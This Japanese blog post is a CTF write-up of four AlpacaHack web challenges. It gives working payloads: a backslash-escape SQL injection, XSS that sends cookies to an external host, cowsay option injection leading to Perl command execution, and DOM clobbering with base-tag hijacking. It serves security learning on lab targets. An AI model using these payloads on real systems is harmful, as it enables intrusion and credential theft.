st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

AlpacaHack Round 2 (Web) writeup

9/1に6時間だけ開催された。出題された4問すべてを3時間40分56秒で解いて2位。AlpacaHackは新しくできた個人戦のCTFプラットフォームで、定期的に短めのCTFを開催するとのこと。終了後にはいつでも過去問を遊ぶことができる。

AlpacaHack Round 2は定期的に開催されるCTFの第2回で、Arkさんが作問者となってWebカテゴリのみから出題された。第1回はPwnがテーマだったようだけれども、その様子は作問者のptr-yudaiさんのブログ記事を参照されたい。

今回の問題はさすがはArkさんという面白さだったが、Pico Note 1以降の問題で手間取ってしまった。1位のicesfontさんは私より1時間以上も早く全完しており完敗で、悔しい。


[Web 108] Simple Login (84 solves)

A simple login service :)

(問題サーバのURL)

添付ファイル: simple-login.tar.gz

作りがシンプルなのでソースコードの全体を載せる。次のように /login からログインできるシステムがある。フラグは db/init.sql という別ファイルの INSERT INTO flag (value) VALUES ('Alpaca{REDACTED}'); という定義から、flag というテーブルに存在しているとわかる。

SQLの実行時に f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'" と、プレースホルダを使わずユーザ入力をそのまま展開していてSQLiができそうだ。けれども、その直前に if "'" in username or "'" in password' がユーザ名またはパスワードに含まれていないかのチェックがある。素直に ' or 1;# のような文字列をユーザ名に仕込むことでのSQLiはできなそう。

from flask import Flask, request, redirect, render_template
import pymysql.cursors
import os


def db():
    return pymysql.connect(
        host=os.environ["MYSQL_HOST"],
        user=os.environ["MYSQL_USER"],
        password=os.environ["MYSQL_PASSWORD"],
        database=os.environ["MYSQL_DATABASE"],
        charset="utf8mb4",
        cursorclass=pymysql.cursors.DictCursor,
    )


app = Flask(__name__)


@app.get("/")
def index():
    if "username" not in request.cookies:
        return redirect("/login")
    return render_template("index.html", username=request.cookies["username"])


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if username is None or password is None:
            return "Missing required parameters", 400
        if len(username) > 64 or len(password) > 64:
            return "Too long parameters", 400
        if "'" in username or "'" in password:
            return "Do not try SQL injection 🤗", 400

        conn = None
        try:
            conn = db()
            with conn.cursor() as cursor:
                cursor.execute(
                    f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
                )
                user = cursor.fetchone()
        except Exception as e:
            return f"Error: {e}", 500
        finally:
            if conn is not None:
                conn.close()

        if user is None or "username" not in user:
            return "No user", 400

        response = redirect("/")
        response.set_cookie("username", user["username"])
        return response
    else:
        return render_template("login.html")

いかにSQLの構造を壊すか考えている中で、ユーザ名にバックスラッシュを仕込むことを思いついた。ユーザ入力が展開された後のSQLは SELECT * FROM users WHERE username = '\' AND password = 'password' というような構造になるけれども、エスケープのお陰で \' AND password = までがひとつの文字列として扱われ、パスワードの部分は文字列から抜け出すことができている。パスワードとして本命のペイロードを仕込めばよいだろう。

あとは flag テーブルの内容を取ってくるだけだ。ご丁寧にもログイン後のページでどのユーザでログインしたか表示してくれるから、UNION を使ってユーザ名としてフラグを表示させればよろしい。

import httpx
with httpx.Client(base_url='http://(省略)/', timeout=60) as client:
    r = client.post('/login', data={
        'username': '\\',
        'password': ' union select value, 1 from flag;#'
    })
    print(r.text)
    r = client.get('/')
    print(r.text)

実行するとフラグが得られた。

$ python3 s.py
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link.

<!DOCTYPE html>
<html>
  <head>
    <link
      rel="stylesheet"
      href="https://cdn.jsdelivr.net/npm/@picocss/pico@2/css/pico.classless.min.css"
    />
    <title>Simple Login</title>
  </head>
  <body>
    <main>
      <h1>Simple Login</h1>
      <p>Hello, Alpaca{<redacted>}</p>
      <marquee scrollamount="16" direction="right">
        Logged in successfully🎉
      </marquee>
    </main>
  </body>
</html>

[Web 277] Pico Note 1 (10 solves)

The template engine is very simple but powerful 🔥

(問題サーバのURL)

(Admin botのURL)

添付ファイル: pico-note-1.tar.gz

Admin botがおり、XSSのようにクライアント側でなにかやる問題なのだろうと思う。botのコードの主要な部分は次の通り。document.cookie を外部に送信させれば勝ちらしい。

  try {
    const page = await context.newPage();
    await page.setCookie({
      name: "FLAG",
      value: FLAG,
      domain: APP_HOST,
      path: "/",
    });
    await page.goto(url, { timeout: 3 * 1000 });
    await sleep(5 * 1000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

攻撃対象のWebアプリは次のような感じ。普通のメモアプリで、タイトルや内容を設定して送信すると、/note?title=a&content=b のようなURLに遷移してその内容が表示される。

サーバ側のコードは次の通り。nonce-basedなCSPを設定している点、独自のテンプレートエンジンを作り使っている点が気になる。

import Fastify from "fastify";
import crypto from "node:crypto";
import { promises as fs } from "node:fs";

const app = Fastify();
const PORT = 3000;

// A simple template engine!
const render = async (view, params) => {
  const tmpl = await fs.readFile(`views/${view}.html`, { encoding: "utf8" });
  const html = Object.entries(params).reduce(
    (prev, [key, value]) => prev.replace(`{{${key}}}`, value),
    tmpl
  );
  return html;
};

app.addHook("onRequest", (req, res, next) => {
  const nonce = crypto.randomBytes(16).toString("hex");
  res.header("Content-Security-Policy", `script-src 'nonce-${nonce}';`);
  req.nonce = nonce;
  next();
});

app.get("/", async (req, res) => {
  const html = await render("index", {});
  res.type("text/html").send(html);
});

app.get("/note", async (req, res) => {
  const title = String(req.query.title);
  const content = String(req.query.content);

  const html = await render("note", {
    nonce: req.nonce,
    data: JSON.stringify({ title, content }),
  });
  res.type("text/html").send(html);
});

app.listen({ port: PORT, host: "0.0.0.0" });

ユーザ入力が展開される先の note.html は次の通り。JS内への展開ということで容易にXSSができそうに思えるけれども、残念ながらそう簡単ではない。ユーザ入力は JSON.stringify に通されており、たとえばタイトルにダブルクォートを入れても const { title, content } = {"title":"\"","content":"b"}; のようにエスケープされてしまう。ならばと </script> をタイトル等に入れて script から脱出したとしても、nonceのせいで新たに script 要素を作っても実行されず、HTML Injectionで止まってしまう。

    <script nonce="{{nonce}}">
      const { title, content } = {{data}};
      document.getElementById("title").textContent = title;
      document.getElementById("content").textContent = content;

      document.getElementById("back").addEventListener("click", () => history.back());
    </script>

テンプレートエンジンの実装は次の通り。{{data}}{{nonce}} といったものを置換してくれるようだ。ではユーザ名に </script><script nonce={{nonce}}>…</script> を仕込めばいい感じにnonceを置換してくれるのでは? と思ってしまうが、そうはいかない。ここで String.prototype.replace で置換が行われているけれども、こいつは第1引数に単純な文字列を渡した場合には一度しか置換されない。たとえば、'aaa'.replace('a', 'b') を実行してみると baa という文字列になる。

// A simple template engine!
const render = async (view, params) => {
  const tmpl = await fs.readFile(`views/${view}.html`, { encoding: "utf8" });
  const html = Object.entries(params).reduce(
    (prev, [key, value]) => prev.replace(`{{${key}}}`, value),
    tmpl
  );
  return html;
};

文字コードの問題かなあと思うものの、ちゃんと <meta charset="UTF-8" /> と指定されているし、HTML Injectionも含め JSON.stringify でエスケープされる範囲内でなにかやるのかなあと思うものの、何も悪用できそうなテクニックが思い浮かばない。

ふと、String.prototype.replace では第2引数において $'$& といった特殊な文字列を指定することで、それらがマッチした部分文字列等に置換されることを思い出した。試しに abc</script>$`def をメモの内容として入力してみると、次のようにいい感じに「一致した部分文字列の直前の文字列の部分」が展開された。nonceを含む <script> タグも再び出力させることができている。def の部分をちょっと細工するとJSコードとして正しい形にできそうだ。

    <script nonce="47f99c10e80174d5ed2278f00277329a">
      const { title, content } = {"title":"a","content":"abc</script><!DOCTYPE html><script nonce="47f99c10e80174d5ed2278f00277329a">
      const { title, content } = def"};

ということで、http://web:3000/note?title=a&content=%3C/script%3E$`123;(new Image).src=[`https://…?`,document.cookie]%3C/script%3E というようなURLを通報するとフラグが得られた。

[Web 248] CaaS (13 solves)

🐮📢 < Hello!

(問題サーバのURL)

添付ファイル: caas.tar.gz

Cowsay as a Serviceの略でCaaSらしい。適当なメッセージを入力すると、cowsay コマンドによってそれを牛に喋らせることができる。以前同じようなテーマの問題を見たことがあるが、一度忘れて取り組むことにする。

コードは非常にシンプルで、次の通り。zxcowsay に喋らせているだけらしい。

import express from "express";
import crypto from "node:crypto";
import { $ } from "zx";

const app = express();
const PORT = 3000;

app.use(express.static("public"));

app.get("/say", async (req, res) => {
  const { message = "Hello!" } = req.query;

  try {
    const uuid = crypto.randomUUID();
    await $({
      cwd: "public/out",
      timeout: "2s",
    })`/usr/games/cowsay ${message} > ${uuid}`;
    res.send({ uuid });
  } catch ({ exitCode }) {
    res.status(500).send(exitCode ? "error" : "timeout");
  }
});

app.listen(PORT);

まずOSコマンドインジェクションを考えてしまうけれども、zxは賢いのでテンプレート文字列の仕様を使っていい感じにエスケープ等をしてくれ、$(ls) やら ; ls; やらといった悪そうな文字列を投げても何も起こらない。

ならば、オプションのインジェクションはできないかと考える。コンテナに入って cowsay のオプションを見てみると、何やらいろいろありそうだとわかる。この中でも -f というのがファイルを読み込みそうで気になる。

I have no name!@dad173aa9f35:/app$ /usr/games/cowsay -h
cow{say,think} version 3.03, (c) 1999 Tony Monroe
Usage: cowsay [-bdgpstwy] [-h] [-e eyes] [-f cowfile]
          [-l] [-n] [-T tongue] [-W wrapcolumn] [message]

cowsayのソースコードを確認すると、-f で指定したファイルを do $full によってPerlコードとして読み込み実行している様子がわかる。ユーザがその内容を操作できるファイルがあれば、それを指定することでRCEに持ち込めそうだ。とりあえず、-f オプションを仕込むことができるか -f/etc/passwd を入力して確認してみると、いい感じに /etc/passwd がPerlコードとして実行されていることがコンテナのログからわかる。

web-1  | cowsay: syntax error at /etc/passwd line 1, near "0:"
web-1  | Unknown regexp modifier "/b" at /etc/passwd line 1, at end of line
web-1  | Unknown regexp modifier "/r" at /etc/passwd line 1, at end of line
web-1  | Unknown regexp modifier "/r" at /etc/passwd line 1, at end of line
web-1  | Unknown regexp modifier "/r" at /etc/passwd line 2, at end of line
web-1  | Unknown regexp modifier "/r" at /etc/passwd line 3, at end of line
web-1  | Unknown regexp modifier "/b" at /etc/passwd line 4, at end of line
web-1  | Unknown regexp modifier "/r" at /etc/passwd line 4, at end of line
web-1  | Unknown regexp modifier "/r" at /etc/passwd line 4, at end of line
web-1  | Unknown regexp modifier "/h" at /etc/passwd line 5, at end of line
web-1  | /etc/passwd has too many errors.

では、「ユーザがその内容を操作できるファイル」はどこにあるだろうか。/proc/self/cmdline をまず考えてしまうけれども、初っ端から /usr/games/cowsay とPerlコードとしてダメで、それ以降の引数での調整もできない。/proc/<pid>/fd/<fd> もいい感じのfdが見つからない。

ふと、この問題では cowsay の実行結果が /usr/games/cowsay ${message} > ${uuid} とファイルに書き出されていることを思い出した。cowsay の実行結果がPerlのコードとして有効なものになるようにし、それが吐き出されたファイルを -f オプションで指定すればよいのではないか。

cowsay の出力は以下のようになっており、Perlコードとしては、-------- 以降が非常に邪魔だ。しかしながら、Perlでは __END__ というようなトークンを指定することで、そこまでがPerlコードである(以降はコードではない)と指定することができる*1。これを使おう。

 ________
< Hello! >
 --------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

最終的に、次のようなコードでフラグが得られた。

import httpx
with httpx.Client(base_url='http://(省略)') as client:
    u = client.request('GET', '/say', params={
        'message': 'system("cat /flag*"); __END__',
    }).json()['uuid']
    r = client.get(f'/out/{u}')
    print(r.text)

    u = client.request('GET', '/say', params={
        'message': f'-f/app/public/out/{u}',
    }).json()['uuid']
    r = client.get(f'/out/{u}')
    print(r.text)
$ python3 ../s.py
 _______________________________
< system("cat /flag*"); __END__ >
 -------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Alpaca{<redacted>}
 __
<  >
 --

[Web 428] Pico Note 2 (3 solves)

How many note applications have I created for CTFs so far? This is one of them.

(問題サーバのURL)

(Admin botのURL)

添付ファイル: pico-note-2.tar.gz

Pico Note 1の続編のようだけれども、見た目は似ているが中身は全然異なる。Admin botのコードはわざわざ載せないけれどもほぼ同じで、今回も document.cookie を盗み出せばよい。まずサーバ側のコードは次の通り。今回はnonceに加えてスクリプトのハッシュ値もCSPで指定されるようになっている。

import express from "express";
import expressSession from "express-session";
import ejs from "ejs";
import { JSDOM } from "jsdom";
import crypto from "node:crypto";
import fs from "node:fs";

const app = express();
const PORT = 3000;

app.set("view engine", "ejs");

app.use(
  expressSession({
    secret: crypto.randomBytes(32).toString("base64"),
    resave: false,
    saveUninitialized: false,
  })
);

app.use(express.urlencoded({ extended: true }));

const getIntegrity = (content) => {
  const algo = "sha256";
  const value = crypto
    .createHash(algo)
    .update(Buffer.from(content))
    .digest()
    .toString("base64");
  return `${algo}-${value}`;
};

app.use((req, res, next) => {
  const notes = req.session.notes ?? [];
  res.locals.notes = notes;

  const hashSource = notes
    .map((note) => `'${getIntegrity(JSON.stringify(note))}'`)
    .join(" ");

  const nonce = crypto.randomBytes(16).toString("base64");
  res.header(
    "Content-Security-Policy",
    `script-src 'nonce-${nonce}' ${hashSource};`
  );
  res.locals.nonce = nonce;

  next();
});

const SCRIPTS_TMPL = `
<div id="scripts">
  <% for (const note of notes) { %>
    <% const json = JSON.stringify(note); %>
    <script type="application/json" integrity="<%= getIntegrity(json) %>"><%- json %></script>
  <% } %>
</div>
`.trim();

app.get("/", (req, res) => {
  const scripts = new JSDOM(
    ejs.render(SCRIPTS_TMPL, {
      notes: res.locals.notes,
      getIntegrity,
    })
  ).window.scripts?.innerHTML;

  res.render("index", { scripts });
});

app.post("/create", (req, res) => {
  const notes = res.locals.notes;
  notes.push(req.body);
  req.session.notes = notes;
  res.redirect("/");
});

app.get("/app.js", (req, res) => {
  const js = fs.readFileSync("app.js");
  res.type("text/javascript").send(js);
});

app.listen({ port: PORT, host: "0.0.0.0" });

適当にメモを作成してみると、次のように type="application/json" と指定された <script> タグとしてメモの情報が埋め込まれていることがわかる。もちろん、ここで "> のように指定してもHTML Injectionすらできない。

    <script type="application/json" integrity="sha256-tKw076UDBQoF5jAEqLOJNI15Gk4BaBkJgcBFrFLsigw=">{"title":"a","content":"b"}</script>
    
    <script type="application/json" integrity="sha256-VgFWsr2gwfzNUJmJw5BFkuxgF8fLD4JUQi/eXYTa4QU=">{"title":"c","content":"d"}</script>

    <script type="module" src="/app.js" nonce="Tk7Cl1/AGD8hRdN9PTyTzQ=="></script>

これらのJSONは /app.js によって描画される。その中身は次の通りで、type 属性が application/json である script 要素を取ってきて、それぞれJSONとしてパースした上で、その中身を表示している。ここでDOMPurifyが使われており、またそのバージョンも3.1.6と2024-09-01時点で最新のものでバイパスはできないように思える。

import DOMPurify from "https://cdn.jsdelivr.net/npm/dompurify@3.1.6/+esm";

const elements = document.querySelectorAll("script[type='application/json']");

for (const elm of elements) {
  const { title, content } = JSON.parse(elm.textContent);
  document.body.innerHTML += DOMPurify.sanitize(
    `
      <div class="nes-container is-dark with-title">
        <p id="title" class="title">${title}</p>
        <p id="content">${content}</p>
      </div>
    `.trim()
  );
}

ではどうするか。とりあえず怪しそうなところから見ていく。まず GET / においてEJSでテンプレートのレンダリングが行われているわけだけれども、わざわざjsdomを使いその innerHTML にアクセスしている。その必要性はないのではないか。

const SCRIPTS_TMPL = `
<div id="scripts">
  <% for (const note of notes) { %>
    <% const json = JSON.stringify(note); %>
    <script type="application/json" integrity="<%= getIntegrity(json) %>"><%- json %></script>
  <% } %>
</div>
`.trim();

app.get("/", (req, res) => {
  const scripts = new JSDOM(
    ejs.render(SCRIPTS_TMPL, {
      notes: res.locals.notes,
      getIntegrity,
    })
  ).window.scripts?.innerHTML;

  res.render("index", { scripts });
});

window.scripts でその中の id 属性が scripts である div を指定しているけれども、なぜ document.getElementByIdquerySelector を使わないのだろうか。DOM Clobberingに脆弱ではないか。

ここでユーザ入力が展開されているわけだが、<%- json -> による展開であるので <> といった文字のエスケープはなされない。したがってHTML Injectionができる。</script><div id=scripts></div> のようにして、window.scripts が複数の要素が含まれることを意味する HTMLCollection を返すようになった。

HTMLCollection には innerHTML は存在しないので undefined が返ってきてしまう。なんとかできないかと考えて、</script><div id=scripts><div id=scripts name=innerHTML>aaa</div></div> のようにすることで、window.scripts.innerHTML が内側の div 要素ただひとつを意味するようになることに気づいた。

ここで HTMLDivElement でなく HTMLAnchorElement を返させることで、文字列化された際にほかの要素のように [object HTMLDivElement] という何にも使えない文字列でなく、その href 属性を返させることができる。これをメモのタイトルとして投稿すると、HTML Injectionできた。

    cid:a<s>poyo</s>a
    <script type="module" src="/app.js" nonce="BlD9zSvjBtqC2QlX+EbBiA=="></script>

HTML InjectionからXSSに持ち込むにはどうすればよいか。保存されているメモのハッシュ値がいちいちCSPに追加されることから、JavaScriptコードとして有効なオブジェクトを req.session.notes に追加させればよいのではないかと考えた。しかしながら、app.use(express.urlencoded({ extended: true })); ということでどうしてもオブジェクトになってしまう。文字列化されると {"hoge":"fuga"} のようになってしまい、これではJSとして有効でない。req.body を配列等にできないかと考えるが、ダメだった。

ふと、今回CSPで指定されているのは script-src だけだから、ほかの何かが使えないかと考える。そういえば、HTML Injectionできる箇所より後ろで /app.js が読み込まれており、またこれは integirty 属性ではなく nonce 属性が使われていたのだった。base-src ディレクティブは指定されてないから、base 要素が使える。これで、自分のサーバにある /app.js を読み込ませることができる。

以下のようなPythonスクリプトとHTMLを用意する。

# main.py
from flask import Flask, make_response

app = Flask(__name__)

@app.route('/app.js', methods=['GET'])
def appjs():
    resp = make_response('(new Image).src=["https://…?", document.cookie]')
    resp.headers['Access-Control-Allow-Origin'] = '*'
    resp.headers['Content-Type'] = 'application/javascript'
    return resp

@app.route('/', methods=['GET'])
def index():
    return open('index.html').read()

app.run(port=8000, host='0.0.0.0')
<!-- index.html -->
<body>
    <form method="POST" action="http://web:3000/create" id="form">
        <input type="text" id="title" name="title">
        <input type="text" name="content" value="a">
    </form>
    <script>
document.getElementById('title').value = `<\/script><div id=scripts><a href='cid:a<base href=//(省略):8000/index.php></base>a' id=scripts name=innerHTML>aaa</a></div>`
document.getElementById('form').submit();
    </script>
</body>

これを通報すると、フラグが得られた。

*1:akictf等のためにPerlを少し勉強した記憶から思いついた